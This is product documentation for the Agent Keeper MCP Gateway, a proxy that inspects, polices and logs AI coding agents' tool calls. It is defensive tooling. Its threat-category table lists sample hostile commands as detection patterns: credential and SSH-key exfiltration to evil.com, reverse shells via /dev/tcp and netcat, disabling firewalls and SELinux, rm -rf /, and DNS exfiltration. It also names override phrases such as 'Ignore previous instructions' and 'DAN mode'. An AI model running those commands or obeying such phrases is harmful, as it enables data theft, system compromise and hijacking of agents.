MCP Gateway
The Agent Keeper MCP Gateway is an open-source Go binary that sits between your AI coding agent (Claude Code, Cursor, Copilot, Windsurf) and your MCP servers. It intercepts every tool call for inspection, policy enforcement, and audit logging before forwarding to the backend server.
Why
MCP servers run with your user's full permissions. They can read files, execute commands, make network requests, and access secrets. Most have zero authentication and no audit trail.
The MCP Gateway adds:
- Threat detection: 30+ patterns for credential exfiltration, reverse shells, prompt injection, tool poisoning, and data leakage
- Policy enforcement: Block specific servers, tools, or arguments containing sensitive keywords
- Audit logging: Every tool call logged with verdict, severity, and context
- Fleet management: Central dashboard showing all gateways, servers, and events across your org
Architecture
AI Coding Agent (Claude Code, Cursor, Copilot, Windsurf)
│
▼
agentkeeper-mcp-gateway (Go binary, stdio proxy)
│
├── Detection Engine (embedded, under 50ms)
├── Policy Engine (dashboard-synced + local config)
├── Telemetry (batched event upload to dashboard)
│
▼
MCP Servers (GitHub, filesystem, Slack, databases, etc.)
The gateway is the sole entry point. Your IDE connects to the gateway. The gateway connects to your MCP servers. Every tool call passes through the detection and policy engines before reaching the backend.
Two modes
Audit (default): Full proxy, full logging, zero blocking. Every tool call is evaluated and logged, but nothing is blocked. Security teams get complete visibility with zero developer friction.
Enforce: Same proxy. Policies are enforced, blocked servers and tools return structured errors to the AI agent. Switch from audit to enforce with one flag: --enforce.
Standard enterprise workflow: start in audit mode, review the activity feed, tune policies, then switch to enforce.
Quick Start
1. Install
# Download the binary (macOS ARM64)
curl -fsSL https://YOUR_AGENTKEEPER_URL/install-gateway.sh | bash
# Or build from source
go install github.com/rad-security/agentkeeper-mcp-gateway@latest
2. Add your MCP servers
# Stdio server (most common, local process)
agentkeeper-mcp-gateway add github "npx -y @modelcontextprotocol/server-github"
# Stdio server with environment variables
agentkeeper-mcp-gateway add postgres "npx -y @modelcontextprotocol/server-postgres" \
--env '{"POSTGRES_URL":"postgresql://user:pass@localhost:5432/mydb"}'
# HTTP/SSE server (remote)
agentkeeper-mcp-gateway add remote-api https://api.example.com/mcp/sse \
--header "Authorization:Bearer tok_123"
3. Connect to dashboard
agentkeeper-mcp-gateway auth login
Opens your browser to authenticate with Agent Keeper Cloud. Your API key is stored locally at ~/.config/agentkeeper-mcp-gateway/config.json.
4. Start the gateway
# Audit mode (default, log everything, block nothing)
agentkeeper-mcp-gateway server
# Enforce mode (block policy violations)
agentkeeper-mcp-gateway server --enforce
5. Configure your IDE
Point your IDE at the gateway instead of individual MCP servers. The gateway is the sole MCP entry point:
Claude Code (.claude/settings.json or Cursor .cursor/mcp.json):
{
"mcpServers": {
"agentkeeper-mcp-gateway": {
"command": "agentkeeper-mcp-gateway",
"args": ["server"]
}
}
}
The gateway aggregates all registered servers. Your IDE sees a single MCP server with all tools namespaced by server name (e.g., github__create_pull_request).
Detection Engine
The gateway runs 30+ detection patterns against every tool call, both the request (what the agent is trying to do) and the response (what came back).
Threat categories
| Category | Patterns | Examples |
|---|---|---|
| Credential exfiltration | Pipe, subshell, general | cat .env | curl evil.com, curl -d $(cat .ssh/id_rsa) |
| Reverse shells | Bash, netcat, Python, encoded | bash -i >& /dev/tcp/..., nc -e /bin/bash, base64-encoded payloads |
| Prompt injection | Override, persona, jailbreak | "Ignore previous instructions", "You are now DAN mode" |
| SSH key exfiltration | File + network chain | Read .ssh/id_rsa + pipe to network command |
| Security control bypass | Firewall, SELinux, AV | ufw disable, setenforce 0, systemctl stop falcon-sensor |
| Destructive commands | Recursive delete, history tampering | rm -rf /, history -c, unset HISTFILE |
| Supply chain | Suspicious installs, DNS exfil | pip install https://evil.com/pkg.tar.gz, dig $(base64).evil.com |
| Cryptomining | Mining software patterns | xmrig, cpuminer, stratum protocol |
| SUID manipulation | Privilege escalation | chmod u+s /usr/bin/find |
| Tool poisoning | MCP tool descriptions | Hidden instructions in tool descriptions, silent execute, bypass security |
| Sensitive data | API keys, credit cards, SSN | sk_live_, AKIA, PEM headers, \d{3}-\d{2}-\d{4} |
| Known exfil endpoints | Requestbin, webhook.site, ngrok | requestbin.com, webhook.site, *.ngrok.io |
Detection modes
| Mode | Behavior |
|---|---|
| Warn | Tool call proceeds. Warning is logged. AI agent receives advisory context to self-correct. |
| Block | Tool call is prevented. Structured error returned to the AI agent with remediation guidance. |
| Monitor | Tool call proceeds. Event logged silently. No warning to agent. |
Dual detection (embedded + connected)
The gateway runs detection in two layers:
- Embedded detection (always, under 50ms), Go-native pattern matching. Works offline, zero network dependency.
- Connected detection (when authenticated), Sends tool call to the Agent Keeper API for server-side evaluation with org-specific policies and custom keywords. Falls back to embedded on timeout (4s) or error.
The strictest verdict across both layers wins. If embedded says "pass" but connected says "warn", the final verdict is "warn."
Policy Engine
Policies control what MCP servers and tools are accessible. They are managed from the dashboard and synced to every gateway every 30 seconds.
Policy types
| Policy | Scope | Example |
|---|---|---|
| Block server | All tools on a server are blocked | Block "slack" server entirely |
| Block tool | Specific tools on a specific server | Block "github/delete_repo" |
| Custom keywords | Flag tool arguments containing sensitive terms | Block calls with "ACME-INTERNAL" in arguments |
Evaluation order
- Blocked server? → Block immediately
- Blocked tool? → Block immediately
- Custom keyword match? → Verdict based on
detection.sensitive_datasetting (warn or block) - None matched → Allow
Mode interaction
- Audit mode: Block verdicts are logged but the tool call proceeds. The gateway records the would-be-block for review.
- Enforce mode: Block verdicts prevent the tool call. The AI agent receives a structured error:
"Blocked by Agent Keeper: [reason]. Try an alternative approach."
Dashboard vs local policy
Policies come from two sources:
- Dashboard (org policy): Set by admins in the Agent Keeper dashboard. Synced to all gateways every 30 seconds. Highest priority.
- Local config (
~/.config/agentkeeper-mcp-gateway/config.json), Set by the developer. Can add restrictions but never weaken dashboard policy.
Merge rule: Additive only. Local config can make policy stricter but never override a dashboard block.
Dashboard
The MCP Gateway dashboard is at YOUR_AGENTKEEPER_URL/gateway. Available on Pro, Team, and Enterprise plans.
Gateway Fleet (/gateway)
Summary of all gateway instances registered to your org:
- Stats: Total gateways, online now, enforce mode count, events (24h)
- Charts: Daily tool call volume (14 days, stacked by verdict), top 5 blocked tools (30 days)
- Table: Status (online/offline), hostname, version, mode (audit/enforce), connected servers, last seen
Click any gateway hostname to view its events in the activity feed.
Gateway Activity (/gateway/activity)
Investigation tool for MCP tool call events:
- Time range: 1 hour, 24 hours, 7 days, 30 days
- Filters: All, Blocked, Warned, Passed
- Search: Filter by server name, tool name, hostname, or pattern name
- Pagination: 25 events per page with prev/next navigation
- Drill-down: Click any event to expand and see full details, timestamp, event ID, server, tool, verdict, severity, pattern, category, hostname, description, and raw context JSON
- Export: Download filtered events as CSV for compliance reporting
MCP Servers (/gateway/servers)
Inventory of all MCP servers discovered across your org:
- Table: Server name, transport (stdio/HTTP), tool count, gateway count, first/last seen
- Drill-down: Click any server to see its tools, recent events, and policies affecting it
Server Detail (/gateway/servers/{name})
Per-server view showing:
- Metadata: Transport, first/last seen, gateway count
- Tools list: All tools exposed by this server with names and descriptions
- Recent events: Last 20 tool call events for this server (expandable with full detail)
- Policies: All access policies that apply to this server (server-specific + global)
Gateway Policies (/gateway/policies)
Create, view, and delete access control rules:
- Create policy: Server name (optional, empty applies to all), tool name (optional), action (deny/allow), target (everyone/user/group/department)
- Delete policy: Inline confirmation per rule
- Success feedback: Green banner confirms create/delete actions
Configuration
Config file
Location: ~/.config/agentkeeper-mcp-gateway/config.json
{
"mode": "audit",
"verbose": false,
"log_path": "",
"detection": {
"threat": "warn",
"sensitive_data": "warn",
"custom_keywords": []
},
"servers": [
{
"name": "github",
"command": "npx -y @modelcontextprotocol/server-github",
"args": [],
"env": {},
"transport": "",
"url": "",
"headers": {}
}
],
"api_key": "ak_live_...",
"api_url": "https://YOUR_AGENTKEEPER_URL"
}
Detection settings
| Field | Values | Default | Description |
|---|---|---|---|
detection.threat | warn, block, monitor | warn | What to do when a threat pattern matches |
detection.sensitive_data | warn, block, monitor | warn | What to do when sensitive data is detected in tool arguments |
detection.custom_keywords | string array | [] | Additional keywords to flag (case-insensitive) |
Server entry
| Field | Required | Description |
|---|---|---|
name | Yes | Unique name for the server |
command | Yes (stdio) | Shell command to spawn the MCP server |
args | No | Additional command arguments |
env | No | Environment variables (JSON object) |
transport | No | "stdio" (default) or "http" |
url | Yes (http) | URL for HTTP/SSE transport |
headers | No | HTTP headers for the remote server |
Local event log
Events are always logged locally to ~/.config/agentkeeper-mcp-gateway/events.jsonl regardless of dashboard connection. Each line is a JSON object:
{
"timestamp": "2026-04-14T12:00:00Z",
"event_type": "mcp.tool_call",
"server_name": "github",
"tool_name": "create_pr",
"verdict": "pass"
}
Use this file for SIEM integration (point Filebeat/Fluentd at it) or local debugging.
CLI Reference
agentkeeper-mcp-gateway server
Start the MCP gateway proxy.
agentkeeper-mcp-gateway server [--enforce] [--verbose]
| Flag | Description |
|---|---|
--enforce | Enable enforce mode (block policy violations). Default: audit mode. |
--verbose | Print detection details to stderr |
Output:
[agentkeeper] MCP Gateway v1.0.0 starting in audit mode
[agentkeeper] 3 servers configured, 36 detection patterns loaded
[agentkeeper] Connected to dashboard
agentkeeper-mcp-gateway add
Register an MCP server with the gateway.
agentkeeper-mcp-gateway add <name> <command_or_url> [--env JSON] [--header key:value]
Stdio server:
agentkeeper-mcp-gateway add filesystem "npx -y @modelcontextprotocol/server-filesystem /home/user/projects"
HTTP server:
agentkeeper-mcp-gateway add remote https://api.example.com/mcp --header "Authorization:Bearer tok"
agentkeeper-mcp-gateway remove
Unregister an MCP server.
agentkeeper-mcp-gateway remove github
agentkeeper-mcp-gateway list
Show all registered servers.
agentkeeper-mcp-gateway list [--json] [--health]
agentkeeper-mcp-gateway configure-ide
Detect every installed IDE (Claude Code, Claude Desktop, Cursor), back up its existing MCP config, and rewrite it to route through the gateway. Any previously-registered servers are migrated into the gateway's own servers[] config. Idempotent, safe to run from a login hook, postinstall script, or every Kandji reapply.
agentkeeper-mcp-gateway configure-ide [--dry-run] [--ide=<name>]
| Flag | Description |
|---|---|
--dry-run | Show what would change without writing any files. |
--ide=<name> | Target a single IDE: claude-code, claude-desktop, or cursor. Default: all installed. |
See Enterprise install, Zero-touch IDE wiring for fleet patterns (Kandji, launchd, systemd).
agentkeeper-mcp-gateway scan-inventory
Walk ~/.claude/skills/, project-scoped skills, plugin-installed skills, and mcpServers config across user/project/project-local settings. POST the resulting inventory to the dashboard at /api/v1/claude-code/checkin. Available in v0.4.0+.
agentkeeper-mcp-gateway scan-inventory [--dry-run] [--cwd <path>] [--claude-version <ver>]
| Flag | Description |
|---|---|
--dry-run | Print the JSON payload that would be sent without sending. |
--cwd <path> | Override the project directory when invoked outside a Claude Code hook. |
--claude-version <ver> | Set the claude_version field when not supplied by the hook envelope on stdin. |
Designed to be wired into a Claude Code SessionStart hook. Fail-open: exits 0 on success and on network failure; non-zero only on a fatal config error.
agentkeeper-mcp-gateway auth login
Authenticate with Agent Keeper Cloud using device auth flow. Opens browser for approval. Stores API key in config.
agentkeeper-mcp-gateway auth status
Show current authentication status and connected org.
agentkeeper-mcp-gateway auth logout
Clear stored API key and disconnect from dashboard.
agentkeeper-mcp-gateway config show
Display the current merged configuration (local + dashboard policy).
agentkeeper-mcp-gateway logs
View the local event log.
agentkeeper-mcp-gateway logs [-f] [-n 100]
agentkeeper-mcp-gateway version
Print version, commit SHA, and build date.
API Reference
All API endpoints require an Agent Keeper API key via Authorization: Bearer ak_live_... header.
POST /api/v1/mcp/sync
Gateway registration, heartbeat, and policy fetch. Called automatically every 30 seconds.
Request:
{
"hostname": "dev-macbook",
"os": "darwin",
"os_version": "arm64",
"gateway_version": "1.0.0",
"mode": "audit",
"connected_clients": [],
"connected_servers": [
{
"name": "github",
"transport": "stdio",
"tools": [{ "name": "create_pr", "description": "Create a pull request" }]
}
]
}
Response:
{
"ok": true,
"gateway_id": "uuid",
"policy": {
"mode": "audit",
"detection": { "threat": "warn", "sensitive_data": "warn" },
"blocked_servers": [],
"blocked_tools": { "github": ["delete_repo"] },
"custom_keywords": ["ACME-INTERNAL"],
"security_level": "strict"
}
}
POST /api/v1/mcp/evaluate
Real-time tool call evaluation. Returns verdict before gateway allows execution.
Request:
{
"server_name": "github",
"tool_name": "create_pr",
"params": { "title": "..." }
}
Response:
{
"verdict": "pass",
"pattern_name": null,
"severity": null,
"description": null
}
Fail-open: returns {"verdict": "pass"} on any internal error.
POST /api/v1/mcp/events
Batch event upload. Fire-and-forget, always returns 200.
Request:
{
"hostname": "dev-macbook",
"events": [
{
"server_name": "github",
"tool_name": "create_pr",
"verdict": "pass",
"severity": null,
"pattern_name": null,
"category": null,
"description": null
}
]
}
Response:
{
"ok": true,
"inserted": 1
}
Fail-Open Design
The gateway never breaks your developer workflow:
| Failure | Behavior |
|---|---|
| Detection engine crashes | Tool call proceeds (fail-open) |
| Dashboard API unreachable | Embedded detection runs locally. Events queued in JSONL. |
| Policy sync fails | Last cached policy used. Log warning to stderr. |
| Connected detection timeout (4s) | Embedded verdict used instead. |
| No API key configured | Gateway runs in local-only mode. Full detection, no dashboard. |
Compliance
The MCP Gateway maps to these compliance frameworks:
| Framework | Controls |
|---|---|
| OWASP Agentic Top 10 | AG01 (Prompt Injection), AG02 (Broken Access Control), AG03 (Tool Misuse), AG04 (Supply Chain), AG05 (Code Execution) |
| OWASP LLM Top 10 | LLM01 (Prompt Injection), LLM02 (Sensitive Info), LLM03 (Supply Chain), LLM06 (Excessive Agency) |
| SOC 2 | CC6.1 (Access Controls), CC6.6 (System Boundaries), CC7.2 (Monitoring), CC9.2 (AI Integrity) |
| EU AI Act | Art. 9 (Risk Mgmt), Art. 12 (Record-Keeping), Art. 14 (Human Oversight), Art. 15 (Robustness) |
Plans
| Feature | Free | Pro | Team | Enterprise |
|---|---|---|---|---|
| Local hook installer | Yes | Yes | Yes | Yes |
| MCP Gateway | No | Yes | Yes | Yes |
| Gateway dashboard and activity | No | Yes | Yes | Yes |
| Connected detection | No | Yes | Yes | Yes |
| MCP access policy management | No | No | Yes | Yes |
| CSV export | No | Yes | Yes | Yes |
| Gateway alert rules | No | No | Yes | Yes |
| Volume pricing | No | No | No | Yes |
| SSO / SAML | No | No | No | Yes |
The gateway binary runs in local-only mode without an API key (embedded detection, local JSONL log, no dashboard). Connect to Agent Keeper Cloud for fleet management, centralized policies, and event history.
FAQ
Does the gateway add latency?
Embedded detection runs in under 50ms. Connected detection adds up to 4s worst-case but falls back to embedded on timeout. For most tool calls, the added latency is imperceptible (under 100ms).
Can I run the gateway without an Agent Keeper account?
Yes. Without an API key, the gateway runs in local-only mode with full embedded detection and JSONL logging. No dashboard, no centralized policies, no fleet management.
Does the gateway support HTTP/SSE MCP servers?
Yes. Use --header when adding HTTP servers: agentkeeper-mcp-gateway add remote https://api.example.com/mcp --header "Authorization:Bearer tok".
How do I deploy to a team?
- Each developer installs the gateway binary
- Each developer runs
auth loginto connect to your org - Set policies in the dashboard, they sync to all gateways within 30 seconds
- Monitor activity in the dashboard at
/gateway/activity
Can developers override dashboard policies?
No. Dashboard policies are highest priority. Local config can only add restrictions, never weaken dashboard policy. This ensures security teams maintain control even when developers manage their own gateway config.
What happens if a developer uninstalls the gateway?
They can connect directly to MCP servers without the gateway. The dashboard will show the gateway as "offline" (no heartbeat in 5 minutes). There is no enforcement at the IDE level, the gateway is a voluntary proxy. For mandatory enforcement, use IDE-level hooks (see AI Coding Agents).
Is the gateway open source?
Yes. The gateway is MIT-licensed at github.com/rad-security/agentkeeper-mcp-gateway. The dashboard and cloud features are proprietary.